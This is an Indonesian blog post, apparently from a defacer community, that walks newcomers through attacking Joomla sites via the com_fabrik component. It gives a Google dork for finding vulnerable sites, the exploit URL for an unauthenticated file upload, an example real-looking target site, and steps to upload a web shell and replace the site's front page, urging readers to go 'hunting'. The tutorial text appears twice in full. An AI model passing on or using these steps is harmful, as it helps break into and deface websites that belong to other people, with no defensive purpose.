Untuk para master, dedengkot, mbahnya hacker khususnya defacer, pasti sudah tidak asing lagi Exploit com_fabrik. Namun untuk newbie seperti ane pasti masih clingak-clinguk. Maka dari itu ane mau berbagi sesuatu bagi yang belom tau :)
Oke, untuk yang belum tahu disimak ya :)
Dork :
inurl:"index.php?option=com_fabrik"site:.uk (silahkan dikembangkan)
Exploit :
index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1echercher
Langkah2nya :
Buka mbah google.com
Masukkan Dorknya tadi inurl:"inurl:"index.php?option=com_fabrik"site:.uk"
Pilih target. Misal kita mendapat http://www.case-stores.de/index.php?opti...mp;lang=de
Setelah menemukan target, ganti (explotasi) URLnya hingga menjadi http://www.case-stores.de/index.php?opti...1echercher
![[Image: 3_zps5c343d96.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tZ2LlFLqKtdrIVsL2jmHKcaSosUvZpDhBnz2U2N3OrczqIdfdPcGwI0xJTbMO_gXZRLPcnFkfAAhmBLKzO8BrIzrwSG-01ARZYEZ6eLPDyeca4LzS5YoxfaZCsDtQwiMclXMnntGQ=s0-d)
maka hasil nya seperti ini ,kalo tidak seperti ini mending cari yang lain :)
Upload shell ente Dan untuk melihat shell yang telah di upload, buka http://www.target.com/media/shell.php
![[Image: 4_zps8cde2690.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s8W-Azo6_YmX7IuUTAcaXEdqiGqTBFEDx_z6AV1WsUAzeMDkg5w05z2p4tMb6I7kDxZaPgAPK46jYlQFP5NvKYkWbvgE2TrNgLhtGHEJf5zZAtf23tcQMPFhZNKaOl6acqK2W6Ew=s0-d)
seperti ini ,sekarang kita udah masuk ke web tersebut tinggal ganti index nya :)
![[Image: 5_zpsfe8fbe56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vLthUiNbhHcazX28ZdXBHF2a2vCtMT7J-S0og-iRF7cy4dVkCcTi3dIOVSq373s3awdA6CXbok1mN9nanWv-3NiXOQuAjSI1BLgb3KBNSu1dY-kA1CYvDs0mw3IEcRFKdaQv_WdKI=s0-d)
dan taraaaaaaaa berhasil :)
Mudah banget kan??? :)
Oke, selamat berburu....[/b]
Oke, untuk yang belum tahu disimak ya :)
Dork :
inurl:"index.php?option=com_fabrik"site:.uk (silahkan dikembangkan)
Exploit :
index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1echercher
Langkah2nya :
Buka mbah google.com
Masukkan Dorknya tadi inurl:"inurl:"index.php?option=com_fabrik"site:.uk"
Pilih target. Misal kita mendapat http://www.case-stores.de/index.php?opti...mp;lang=de
Setelah menemukan target, ganti (explotasi) URLnya hingga menjadi http://www.case-stores.de/index.php?opti...1echercher
maka hasil nya seperti ini ,kalo tidak seperti ini mending cari yang lain :)
Upload shell ente Dan untuk melihat shell yang telah di upload, buka http://www.target.com/media/shell.php
seperti ini ,sekarang kita udah masuk ke web tersebut tinggal ganti index nya :)
dan taraaaaaaaa berhasil :)
Mudah banget kan??? :)
Oke, selamat berburu....[/b]
Subscribe to:
Post Comments (Atom)
0 comments
Post a Comment